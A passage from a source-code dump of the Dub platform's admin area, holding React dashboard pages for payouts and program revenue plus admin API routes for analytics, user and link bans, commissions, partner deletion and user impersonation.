text-neutral-600\">\n                              {tab.label}\n                            </p>\n                          </div>\n                          <p className=\"text-right font-medium text-neutral-900\">\n                            {currencyFormatter(d.values.value)}\n                          </p>\n                        </Fragment>\n                      </div>\n                    </>\n                  )}\n                >\n                  <Areas />\n                  <XAxis maxTicks={5} tickFormat={dateFormatter} />\n                  <YAxis\n                    showGridLines\n                    tickFormat={(value) => currencyFormatter(value)}\n                  />\n                </TimeSeriesChart>\n              ) : (\n                <div className=\"text-center text-sm text-neutral-600\">\n                  No data available.\n                </div>\n              )\n            ) : (\n              <AnalyticsLoadingSpinner />\n            )}\n          </div>\n        </div>\n      </div>\n\n      <div className=\"w-full\">\n        <Table {...tableProps} table={table} />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/payouts/page.tsx",
    "content": "import { Suspense } from \"react\";\nimport PayoutsPageClient from \"./client\";\n\nexport default async function PayoutsPage() {\n  return (\n    <Suspense>\n      <PayoutsPageClient />\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/payouts/paypal/client.tsx",
    "content": "\"use client\";\n\nimport type { PaypalPayoutResponse } from \"@/lib/paypal/get-pending-payouts\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { FilterButtonTableRow } from \"@/ui/shared/filter-button-table-row\";\nimport {\n  Button,\n  StatusBadge,\n  Table,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { Globe } from \"@dub/ui/icons\";\nimport {\n  cn,\n  COUNTRIES,\n  currencyFormatter,\n  fetcher,\n  nFormatter,\n  OG_AVATAR_URL,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { ChevronLeft } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\n\nexport default function PaypalPayoutsPageClient() {\n  const { getQueryString } = useRouterStuff();\n\n  const { data: payouts = [], isLoading } = useSWR<PaypalPayoutResponse[]>(\n    `/api/admin/payouts/paypal${getQueryString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { pagination, setPagination } = usePagination(100);\n\n  // Client-side pagination\n  const paginatedPayouts = useMemo(() => {\n    const start = (pagination.pageIndex - 1) * pagination.pageSize;\n    const end = start + pagination.pageSize;\n    return payouts.slice(start, end);\n  }, [payouts, pagination.pageIndex, pagination.pageSize]);\n\n  const { table, ...tableProps } = useTable({\n    data: paginatedPayouts,\n    columns: [\n      {\n        id: \"partner\",\n        header: \"Partner\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-1.5\">\n            <PartnerAvatar partner={row.original.partner} className=\"size-4\" />\n            <span className=\"text-sm text-neutral-900\">\n              {row.original.partner.email || \"-\"}\n            </span>\n          </div>\n        ),\n      },\n      {\n        id: \"country\",\n        header: \"Country\",\n        accessorKey: \"partner.country\",\n        meta: {\n          filterParams: ({ getValue }) => ({ country: getValue() }),\n        },\n        cell: ({ row }) => {\n          const country = row.original.partner.country;\n          if (!country || country === \"Unknown\") {\n            return (\n              <div className=\"flex items-center gap-3\">\n                <Globe className=\"size-4 shrink-0\" />\n                <span className=\"text-sm text-neutral-900\">Unknown</span>\n              </div>\n            );\n          }\n          return (\n            <div\n              className=\"flex items-center gap-3\"\n              title={COUNTRIES[country] ?? country}\n            >\n              <img\n                alt={country}\n                src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                className=\"size-4 shrink-0\"\n              />\n              <span className=\"truncate text-sm text-neutral-900\">\n                {COUNTRIES[country] ?? country}\n              </span>\n            </div>\n          );\n        },\n      },\n      {\n        id: \"program\",\n        header: \"Program\",\n        accessorKey: \"program.id\",\n        meta: {\n          filterParams: ({ getValue }) => ({ programId: getValue() }),\n        },\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-1.5\">\n            <img\n              src={\n                row.original.program.logo ||\n                `${OG_AVATAR_URL}${row.original.program.name}`\n              }\n              alt={row.original.program.name}\n              width={20}\n              height={20}\n              className=\"size-4 rounded-full\"\n            />\n            <span className=\"text-sm font-medium\">\n              {row.original.program.name}\n            </span>\n          </div>\n        ),\n      },\n      {\n        id: \"status\",\n        header: \"Status\",\n        cell: ({ row }) => {\n          const badge = PayoutStatusBadges[row.original.status];\n\n          return badge ? (\n            <StatusBadge icon={badge.icon} variant={badge.variant}>\n              {badge.label}\n            </StatusBadge>\n          ) : (\n            \"-\"\n          );\n        },\n      },\n      {\n        id: \"amount\",\n        header: \"Amount\",\n        accessorKey: \"amount\",\n        cell: ({ row }) => currencyFormatter(row.original.amount),\n      },\n    ],\n    pagination,\n    onPaginationChange: setPagination,\n    resourceName: (plural) => `payout${plural ? \"s\" : \"\"}`,\n    rowCount: payouts.length,\n    loading: isLoading,\n    cellRight: (cell) => {\n      const meta = cell.column.columnDef.meta as\n        | {\n            filterParams?: any;\n          }\n        | undefined;\n\n      return (\n        meta?.filterParams && (\n          <FilterButtonTableRow set={meta.filterParams(cell)} />\n        )\n      );\n    },\n  });\n\n  const stats = useMemo(() => {\n    const allPayouts = payouts;\n    const processingPayouts = payouts.filter((p) => p.status === \"processing\");\n    const pendingPayouts = payouts.filter((p) => p.status === \"pending\");\n\n    return [\n      {\n        id: \"all\",\n        label: \"Total payouts\",\n        amount: allPayouts.reduce((acc, p) => acc + p.amount, 0),\n        count: allPayouts.length,\n        colorClassName: \"bg-blue-500\",\n      },\n      {\n        id: \"processing\",\n        label: \"Processing payouts\",\n        amount: processingPayouts.reduce((acc, p) => acc + p.amount, 0),\n        count: processingPayouts.length,\n        colorClassName: \"bg-purple-500\",\n      },\n      {\n        id: \"pending\",\n        label: \"Pending payouts\",\n        amount: pendingPayouts.reduce((acc, p) => acc + p.amount, 0),\n        count: pendingPayouts.length,\n        colorClassName: \"bg-orange-500\",\n      },\n    ];\n  }, [payouts]);\n\n  return (\n    <div className=\"mx-auto flex w-full max-w-screen-xl flex-col gap-3 p-6\">\n      <div className=\"flex items-center justify-start\">\n        <Link href=\"/payouts\">\n          <Button\n            variant=\"secondary\"\n            text=\"Back to all payouts\"\n            icon={<ChevronLeft className=\"size-4\" />}\n          />\n        </Link>\n      </div>\n      <div className=\"grid grid-cols-1 divide-y divide-neutral-200 rounded-lg border border-neutral-200 bg-white sm:grid-cols-3 sm:flex-row sm:divide-x sm:divide-y-0\">\n        {stats.map(({ id, label, amount, count, colorClassName }) => (\n          <div key={id} className=\"flex-none px-4 py-3 sm:px-8 sm:py-6\">\n            <div className=\"flex items-center gap-2.5 text-sm text-neutral-600\">\n              <div\n                className={cn(\n                  \"h-2 w-2 rounded-sm shadow-[inset_0_0_0_1px_#00000019]\",\n                  colorClassName,\n                )}\n              />\n              <span>{label}</span>\n            </div>\n            <div className=\"mt-1 flex h-12 items-center\">\n              {!isLoading ? (\n                <div className=\"flex items-baseline gap-2\">\n                  <NumberFlow\n                    value={amount / 100}\n                    className=\"text-xl font-medium sm:text-3xl\"\n                    format={{\n                      style: \"currency\",\n                      currency: \"USD\",\n                    }}\n                  />\n                  <span className=\"text-sm text-neutral-500\">\n                    ({nFormatter(count, { full: true })})\n                  </span>\n                </div>\n              ) : (\n                <div className=\"h-10 w-24 animate-pulse rounded-md bg-neutral-200\" />\n              )}\n            </div>\n          </div>\n        ))}\n      </div>\n      <div className=\"w-full\">\n        <Table {...tableProps} table={table} />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/payouts/paypal/page.tsx",
    "content": "import { Suspense } from \"react\";\nimport PaypalPayoutsPageClient from \"./client\";\n\nexport default async function PaypalPayoutsPage() {\n  return (\n    <Suspense>\n      <PaypalPayoutsPageClient />\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/revenue/client.tsx",
    "content": "\"use client\";\n\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport {\n  CrownSmall,\n  Table,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { cn, currencyFormatter, fetcher, nFormatter } from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\n\nexport default function RevenuePageClient() {\n  const { getQueryString } = useRouterStuff();\n\n  const { data: { programs } = {}, isLoading } = useSWR<{\n    programs: {\n      id: string;\n      name: string;\n      logo: string;\n      partners: number;\n      sales: number;\n      saleAmount: number;\n    }[];\n  }>(`/api/admin/revenue${getQueryString()}`, fetcher, {\n    keepPreviousData: true,\n  });\n\n  const { pagination, setPagination } = usePagination();\n\n  const { table, ...tableProps } = useTable({\n    data: programs ?? [],\n    columns: [\n      {\n        id: \"position\",\n        header: \"Position\",\n        size: 12,\n        minSize: 12,\n        maxSize: 12,\n        cell: ({ row }) => {\n          return (\n            <div className=\"flex w-28 items-center justify-start gap-2 tabular-nums\">\n              {row.index + 1}\n              {row.index <= 2 && (\n                <CrownSmall\n                  className={cn(\"size-4\", {\n                    \"text-amber-400\": row.index === 0,\n                    \"text-neutral-400\": row.index === 1,\n                    \"text-yellow-900\": row.index === 2,\n                  })}\n                />\n              )}\n            </div>\n          );\n        },\n      },\n      {\n        id: \"program\",\n        header: \"Program\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-1.5\">\n            <img\n              src={row.original.logo}\n              alt={row.original.name}\n              width={20}\n              height={20}\n              className=\"size-4 rounded-full\"\n            />\n            <span className=\"text-sm font-medium\">{row.original.name}</span>\n          </div>\n        ),\n      },\n      {\n        id: \"partners\",\n        header: \"Active Partners\",\n        accessorKey: \"partners\",\n        cell: ({ row }) => nFormatter(row.original.partners, { full: true }),\n      },\n      {\n        id: \"sales\",\n        header: \"Total Sales\",\n        accessorKey: \"sales\",\n        cell: ({ row }) => nFormatter(row.original.sales, { full: true }),\n      },\n      {\n        id: \"revenue\",\n        header: \"Affiliate Revenue\",\n        accessorKey: \"revenue\",\n        cell: ({ row }) => currencyFormatter(row.original.saleAmount),\n      },\n    ],\n    pagination,\n    onPaginationChange: setPagination,\n    resourceName: (plural) => `program${plural ? \"s\" : \"\"}`,\n    rowCount: programs?.length ?? 0,\n    loading: isLoading,\n  });\n\n  const stats = useMemo(\n    () => [\n      {\n        id: \"partners\",\n        label: \"Active Partners\",\n        value: programs?.reduce(\n          (acc, { partners }) => acc + (partners || 0),\n          0,\n        ),\n        colorClassName: \"bg-blue-500\",\n      },\n      {\n        id: \"sales\",\n        label: \"Total Sales\",\n        value: programs?.reduce((acc, { sales }) => acc + (sales || 0), 0),\n        colorClassName: \"bg-green-500\",\n      },\n      {\n        id: \"revenue\",\n        label: \"Affiliate Revenue\",\n        value: programs?.reduce(\n          (acc, { saleAmount }) => acc + (saleAmount || 0),\n          0,\n        ),\n        colorClassName: \"bg-purple-500\",\n      },\n    ],\n    [programs],\n  );\n\n  return (\n    <div className=\"mx-auto flex w-full max-w-screen-xl flex-col space-y-6 p-6\">\n      <SimpleDateRangePicker defaultInterval=\"mtd\" className=\"w-fit\" />\n      <div className=\"flex flex-col divide-y divide-neutral-200 rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"grid w-full grid-cols-1 divide-x sm:grid-cols-3\">\n          {stats.map(({ id, label, value, colorClassName }) => (\n            <div key={id} className=\"flex-none px-4 py-3 sm:px-8 sm:py-6\">\n              <div className=\"flex items-center gap-2.5 text-sm text-neutral-600\">\n                <div\n                  className={cn(\n                    \"h-2 w-2 rounded-sm shadow-[inset_0_0_0_1px_#00000019]\",\n                    colorClassName,\n                  )}\n                />\n                <span>{label}</span>\n              </div>\n              <div className=\"mt-1 flex h-12 items-center\">\n                {value !== undefined ? (\n                  id === \"revenue\" ? (\n                    <NumberFlow\n                      value={value / 100}\n                      className=\"text-xl font-medium sm:text-3xl\"\n                      format={{\n                        style: \"currency\",\n                        currency: \"USD\",\n                        // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                        trailingZeroDisplay: \"stripIfInteger\",\n                      }}\n                    />\n                  ) : (\n                    <NumberFlow\n                      value={value}\n                      className=\"text-xl font-medium sm:text-3xl\"\n                    />\n                  )\n                ) : (\n                  <div className=\"h-10 w-24 animate-pulse rounded-md bg-neutral-200\" />\n                )}\n              </div>\n            </div>\n          ))}\n        </div>\n      </div>\n      <div className=\"w-full\">\n        <Table {...tableProps} table={table} />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/revenue/page.tsx",
    "content": "import { Suspense } from \"react\";\nimport RevenuePageClient from \"./client\";\n\nexport default async function RevenuePage() {\n  return (\n    <Suspense>\n      <RevenuePageClient />\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/layout.tsx",
    "content": "\"use client\";\n\nimport { SessionProvider } from \"next-auth/react\";\nimport { ReactNode } from \"react\";\n\nexport default function AdminLayout({ children }: { children: ReactNode }) {\n  return <SessionProvider>{children}</SessionProvider>;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/analytics/route.ts",
    "content": "import { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { parseAnalyticsQuery } from \"@/lib/zod/schemas/analytics\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/admin/analytics – get analytics for admin\nexport const GET = withAdmin(async ({ searchParams }) => {\n  const parsedParams = parseAnalyticsQuery(searchParams);\n\n  const response = await getAnalytics(parsedParams);\n\n  return NextResponse.json(response);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/ban/route.ts",
    "content": "import { deleteWorkspaceAdmin } from \"@/lib/api/workspaces/delete-workspace\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { updateConfig } from \"@/lib/edge-config\";\nimport { isStored, storage } from \"@/lib/storage\";\nimport { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/admin/ban\nexport const POST = withAdmin(async ({ req }) => {\n  const { email } = await req.json();\n\n  const user = await prisma.user.findUniqueOrThrow({\n    where: {\n      email,\n    },\n    select: {\n      id: true,\n      email: true,\n      image: true,\n      projects: {\n        where: {\n          role: \"owner\",\n        },\n        select: {\n          project: {\n            select: {\n              id: true,\n              slug: true,\n              logo: true,\n              stripeId: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  console.log(\n    `Found user ${user.email} with ${user.projects.length} workspaces`,\n  );\n\n  waitUntil(\n    Promise.all(\n      user.projects.map(({ project }) => deleteWorkspaceAdmin(project)),\n    ).then(async () => {\n      await Promise.all([\n        user.image &&\n          isStored(user.image) &&\n          storage.delete({ key: user.image.replace(`${R2_URL}/`, \"\") }),\n        updateConfig({\n          key: \"emails\",\n          value: email,\n        }),\n      ]);\n\n      // delete user\n      await prisma.user.delete({\n        where: {\n          id: user.id,\n        },\n      });\n    }),\n  );\n\n  return NextResponse.json({ success: true });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/commissions/get-commissions-timeseries.ts",
    "content": "import { sqlGranularityMap } from \"@/lib/planetscale/granularity\";\nimport { TZDate } from \"@date-fns/tz\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport { format } from \"date-fns\";\n\ninterface Commission {\n  start: string;\n  commissions: number;\n}\n\nexport async function getCommissionsTimeseries({\n  programId,\n  startDate,\n  endDate,\n  granularity,\n  timezone,\n}: {\n  programId?: string;\n  startDate: Date;\n  endDate: Date;\n  granularity: string;\n  timezone: string;\n}) {\n  const { dateFormat, dateIncrement, startFunction, formatString } =\n    sqlGranularityMap[granularity];\n\n  const commissions = await prisma.$queryRaw<Commission[]>`\n        SELECT \n          DATE_FORMAT(CONVERT_TZ(createdAt, \"UTC\", ${timezone || \"UTC\"}), ${dateFormat}) AS start, \n          SUM(earnings) AS commissions\n        FROM Commission\n        WHERE \n          createdAt >= ${startDate}\n          AND createdAt < ${endDate}\n          AND status IN (\"pending\", \"processed\", \"paid\")\n          AND ${programId ? Prisma.sql`programId = ${programId}` : Prisma.sql`programId != ${ACME_PROGRAM_ID}`}\n        GROUP BY start\n        ORDER BY start ASC;`;\n\n  // Convert dates to TZDate with the specified timezone\n  const tzStartDate = new TZDate(startDate, timezone || \"UTC\");\n  const tzEndDate = new TZDate(endDate, timezone || \"UTC\");\n\n  let currentDate = startFunction(tzStartDate);\n\n  const commissionsLookup = Object.fromEntries(\n    commissions.map((item) => [\n      item.start,\n      {\n        commissions: Number(item.commissions),\n      },\n    ]),\n  );\n\n  const timeseries: Commission[] = [];\n\n  while (currentDate < tzEndDate) {\n    const periodKey = format(currentDate, formatString);\n\n    timeseries.push({\n      start: currentDate.toISOString(),\n      ...(commissionsLookup[periodKey] || {\n        commissions: 0,\n      }),\n    });\n\n    currentDate = dateIncrement(currentDate);\n  }\n  return timeseries;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/commissions/get-top-program-by-commissions.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\n\nexport async function getTopProgramsByCommissions({\n  programId,\n  startDate,\n  endDate,\n}: {\n  programId?: string;\n  startDate: Date;\n  endDate: Date;\n}) {\n  const programCommissions = await prisma.commission.groupBy({\n    by: [\"programId\"],\n    _sum: {\n      earnings: true,\n    },\n    where: {\n      createdAt: {\n        gte: startDate,\n        lte: endDate,\n      },\n      status: {\n        in: [\"pending\", \"processed\", \"paid\"],\n      },\n      programId: programId || {\n        not: ACME_PROGRAM_ID,\n      },\n    },\n    orderBy: {\n      _sum: {\n        earnings: \"desc\",\n      },\n    },\n    take: 50,\n  });\n\n  const topPrograms = await prisma.program.findMany({\n    where: {\n      id: {\n        in: programCommissions.map(({ programId }) => programId),\n      },\n    },\n    include: {\n      workspace: {\n        select: {\n          payoutFee: true,\n        },\n      },\n    },\n  });\n\n  const programIdMap = Object.fromEntries(\n    topPrograms.map((program) => [program.id, program]),\n  );\n\n  const topProgramsWithCommissions = programCommissions\n    .map(({ programId, _sum }) => {\n      const program = programIdMap[programId];\n      if (!program) return null;\n      const commissions = _sum.earnings || 0;\n      const payoutFee = program.workspace?.payoutFee || 0;\n      return {\n        ...program,\n        commissions,\n        fees: commissions * payoutFee,\n      };\n    })\n    .filter(Boolean);\n\n  return topProgramsWithCommissions;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/commissions/route.ts",
    "content": "import { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { analyticsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { DUB_FOUNDING_DATE } from \"@dub/utils\";\nimport { endOfDay, startOfDay } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\nimport { getCommissionsTimeseries } from \"./get-commissions-timeseries\";\nimport { getTopProgramsByCommissions } from \"./get-top-program-by-commissions\";\n\nconst adminCommissionsQuerySchema = z\n  .object({\n    programId: z.string().optional(),\n    timezone: z.string().optional().default(\"UTC\"),\n  })\n  .extend(\n    analyticsQuerySchema.pick({ interval: true, start: true, end: true }).shape,\n  );\n\nexport const GET = withAdmin(async ({ searchParams }) => {\n  const {\n    programId,\n    interval = \"mtd\",\n    start,\n    end,\n    timezone = \"UTC\",\n  } = adminCommissionsQuerySchema.parse(searchParams);\n\n  const { startDate, endDate, granularity } = getStartEndDates({\n    interval,\n    start: start ? startOfDay(new Date(start)) : undefined,\n    end: end ? endOfDay(new Date(end)) : undefined,\n    dataAvailableFrom: DUB_FOUNDING_DATE,\n    timezone,\n  });\n\n  const [programs, timeseries] = await Promise.all([\n    getTopProgramsByCommissions({ programId, startDate, endDate }),\n    getCommissionsTimeseries({\n      programId,\n      startDate,\n      endDate,\n      granularity,\n      timezone,\n    }),\n  ]);\n\n  return NextResponse.json({\n    programs,\n    timeseries,\n  });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/delete-partner-account/route.ts",
    "content": "import { withAdmin } from \"@/lib/auth\";\nimport { conn } from \"@/lib/planetscale\";\nimport { stripe } from \"@/lib/stripe\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { prettyPrint } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/admin/delete-partner-account\nexport const POST = withAdmin(async ({ req }) => {\n  const { email, deletePartnerAccount } = await req.json();\n\n  const partner = await prisma.partner.findUnique({\n    where: {\n      email,\n    },\n    include: {\n      commissions: true,\n      programs: {\n        select: {\n          program: true,\n          links: true,\n          groupId: true,\n        },\n      },\n    },\n  });\n\n  if (!partner) {\n    return new Response(\"Partner not found\", { status: 404 });\n  }\n\n  if (partner.stripeConnectId) {\n    try {\n      // check if stripe express account has received payouts before\n      const transfers = await stripe.transfers.list({\n        destination: partner.stripeConnectId,\n        limit: 1,\n      });\n\n      if (transfers.data.length > 0) {\n        return new Response(\n          \"Stripe express account has received payouts before and cannot be deleted.\",\n          {\n            status: 400,\n          },\n        );\n      }\n\n      const res = await stripe.accounts.del(partner.stripeConnectId);\n      console.log(\n        `Deleted Stripe express account for partner ${partner.email}: `,\n        prettyPrint(res),\n      );\n    } catch (error) {\n      console.log(\n        \"Error deleting Stripe express account (probably already deleted): \",\n        error,\n      );\n    }\n\n    await prisma.partner.update({\n      where: {\n        id: partner.id,\n      },\n      data: {\n        stripeConnectId: null,\n        payoutsEnabledAt: null,\n        payoutMethodHash: null,\n      },\n    });\n    console.log(`Updated partner ${partner.email} with stripeConnectId null`);\n  }\n\n  if (deletePartnerAccount) {\n    if (partner.commissions.length > 0) {\n      return new Response(\n        \"Partner has already received commissions and cannot be deleted.\",\n        {\n          status: 400,\n        },\n      );\n    }\n    if (\n      partner.programs.some(({ links }) => links.some((link) => link.leads > 0))\n    ) {\n      return new Response(\n        \"Partner has already received leads and cannot be deleted.\",\n        {\n          status: 400,\n        },\n      );\n    }\n\n    if (partner.programs.length > 0) {\n      for (const { program, links, groupId } of partner.programs) {\n        if (links.length > 0) {\n          await Promise.allSettled([\n            prisma.link.deleteMany({\n              where: {\n                id: {\n                  in: links.map((link) => link.id),\n                },\n              },\n            }),\n            recordLink(\n              links.map((link) => ({\n                ...link,\n                programEnrollment: { groupId },\n              })),\n              { deleted: true },\n            ),\n          ]);\n          console.log(\n            `Deleted ${links.length} links for program ${program.name} (${program.slug})`,\n          );\n        }\n      }\n\n      await prisma.programEnrollment.deleteMany({\n        where: {\n          partnerId: partner.id,\n          programId: {\n            in: partner.programs.map(({ program }) => program.id),\n          },\n        },\n      });\n      console.log(\n        `Deleted ${partner.programs.length} program enrollments for partner ${partner.email} (${partner.id})`,\n      );\n    }\n\n    await conn.execute(`DELETE FROM Partner WHERE id = ?`, [partner.id]);\n    console.log(`Deleted partner ${partner.email} (${partner.id})`);\n  }\n\n  return NextResponse.json({ success: true });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/events/route.ts",
    "content": "import { getEvents } from \"@/lib/analytics/get-events\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { eventsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/admin/events – get events for admin\nexport const GET = withAdmin(async ({ searchParams }) => {\n  const parsedParams = eventsQuerySchema.parse(searchParams);\n\n  const response = await getEvents(parsedParams);\n\n  return NextResponse.json(response);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/impersonate/route.ts",
    "content": "import { hashToken, withAdmin } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN, PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { randomBytes } from \"crypto\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/admin/impersonate\nexport const POST = withAdmin(async ({ req }) => {\n  const { email, slug } = await req.json();\n\n  const response = await prisma.user.findFirst({\n    where: email\n      ? { email }\n      : {\n          projects: {\n            some: {\n              project: {\n                slug,\n              },\n              role: \"owner\",\n            },\n          },\n        },\n    select: {\n      email: true,\n      projects: {\n        select: {\n          project: {\n            select: {\n              id: true,\n              name: true,\n              slug: true,\n              plan: true,\n              usage: true,\n              linksUsage: true,\n              totalClicks: true,\n              totalLinks: true,\n            },\n          },\n        },\n        orderBy: {\n          project: {\n            totalClicks: \"desc\",\n          },\n        },\n      },\n      partners: {\n        select: {\n          partner: {\n            select: {\n              programs: {\n                select: {\n                  program: {\n                    select: {\n                      id: true,\n                      name: true,\n                      slug: true,\n                    },\n                  },\n                  status: true,\n                  totalClicks: true,\n                  totalLeads: true,\n                  totalConversions: true,\n                  totalSaleAmount: true,\n                  totalCommissions: true,\n                },\n                orderBy: {\n                  totalCommissions: \"desc\",\n                },\n              },\n            },\n          },\n        },\n      },\n    },\n  });\n\n  if (!response?.email) {\n    return new Response(\"User not found\", { status: 404 });\n  }\n\n  const data = {\n    email: response.email,\n    workspaces: response.projects.map(({ project }) => ({\n      ...project,\n      clicks: project.usage,\n      links: project.linksUsage,\n      totalClicks: project.totalClicks,\n      totalLinks: project.totalLinks,\n    })),\n    programs:\n      response.partners.length > 0\n        ? response.partners[0].partner.programs.map(({ program, ...rest }) => ({\n            ...program,\n            ...rest,\n          }))\n        : [],\n    impersonateUrl: await getImpersonateUrl(response.email),\n  };\n\n  return NextResponse.json(data);\n});\n\nasync function getImpersonateUrl(email: string) {\n  const token = randomBytes(32).toString(\"hex\");\n\n  await prisma.verificationToken.create({\n    data: {\n      identifier: email,\n      token: await hashToken(token, { secret: true }),\n      expires: new Date(Date.now() + 60000),\n    },\n  });\n\n  return {\n    app: `${APP_DOMAIN}/api/auth/callback/email?${new URLSearchParams({\n      callbackUrl: APP_DOMAIN,\n      email,\n      token,\n    })}`,\n    partners: `${PARTNERS_DOMAIN}/api/auth/callback/email?${new URLSearchParams(\n      {\n        callbackUrl: PARTNERS_DOMAIN,\n        email,\n        token,\n      },\n    )}`,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/links/[linkId]/route.ts",
    "content": "import { transformLink } from \"@/lib/api/links\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/admin/links/[linkId] – get a link as an admin\nexport const GET = withAdmin(async ({ params }) => {\n  const { linkId } = params;\n\n  const link = await prisma.link.findUnique({\n    where: {\n      id: linkId,\n    },\n  });\n\n  if (!link) {\n    return NextResponse.json({ error: \"Link not found\" }, { status: 404 });\n  }\n\n  return NextResponse.json(transformLink(link));\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/links/ban/route.ts",
    "content": "import { linkCache } from \"@/lib/api/links/cache\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { updateConfig } from \"@/lib/edge-config\";\nimport { domainKeySchema } from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  LEGAL_USER_ID,\n  LEGAL_WORKSPACE_ID,\n  getDomainWithoutWWW,\n} from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// DELETE /api/admin/links/ban – ban a dub.sh link by key\nexport const DELETE = withAdmin(async ({ searchParams }) => {\n  const { domain, key } = domainKeySchema.parse(searchParams);\n\n  const link = await prisma.link.findUnique({\n    where: { domain_key: { domain, key } },\n  });\n\n  if (!link) {\n    return NextResponse.json({ error: \"Link not found\" }, { status: 404 });\n  }\n\n  const urlDomain = getDomainWithoutWWW(link.url);\n\n  const response = await Promise.all([\n    prisma.link.update({\n      where: {\n        id: link.id,\n      },\n      data: {\n        userId: LEGAL_USER_ID,\n        projectId: LEGAL_WORKSPACE_ID,\n      },\n    }),\n\n    linkCache.set({ ...link, projectId: LEGAL_WORKSPACE_ID }),\n\n    urlDomain &&\n      updateConfig({\n        key: \"domains\",\n        value: urlDomain,\n      }),\n  ]);\n\n  return NextResponse.json(response);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/links/count/route.ts",
    "content": "import { withAdmin } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { DUB_DOMAINS_ARRAY, LEGAL_USER_ID } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/admin/links/count\nexport const GET = withAdmin(async ({ searchParams }) => {\n  let { groupBy, search, domain, tagId } = searchParams as {\n    groupBy?: \"domain\" | \"tagId\" | \"userId\";\n    search?: string;\n    domain?: string;\n    tagId?: string;\n  };\n\n  let response;\n\n  const tagIds = tagId ? tagId.split(\",\") : [];\n\n  const linksWhere = {\n    // when filtering by domain, only filter by domain if the filter group is not \"Domains\"\n    ...(domain && groupBy !== \"domain\"\n      ? {\n          domain,\n        }\n      : {\n          domain: {\n            in: DUB_DOMAINS_ARRAY,\n          },\n        }),\n    userId: {\n      not: LEGAL_USER_ID,\n    },\n    ...(search && {\n      OR: [\n        {\n          shortLink: { contains: search },\n        },\n        {\n          url: { contains: search },\n        },\n      ],\n    }),\n  };\n\n  if (groupBy === \"tagId\") {\n    response = await prisma.linkTag.groupBy({\n      by: [\"tagId\"],\n      where: {\n        link: linksWhere,\n      },\n      _count: true,\n      orderBy: {\n        _count: {\n          tagId: \"desc\",\n        },\n      },\n    });\n  } else {\n    const where = {\n      ...linksWhere,\n      ...(tagIds.length > 0 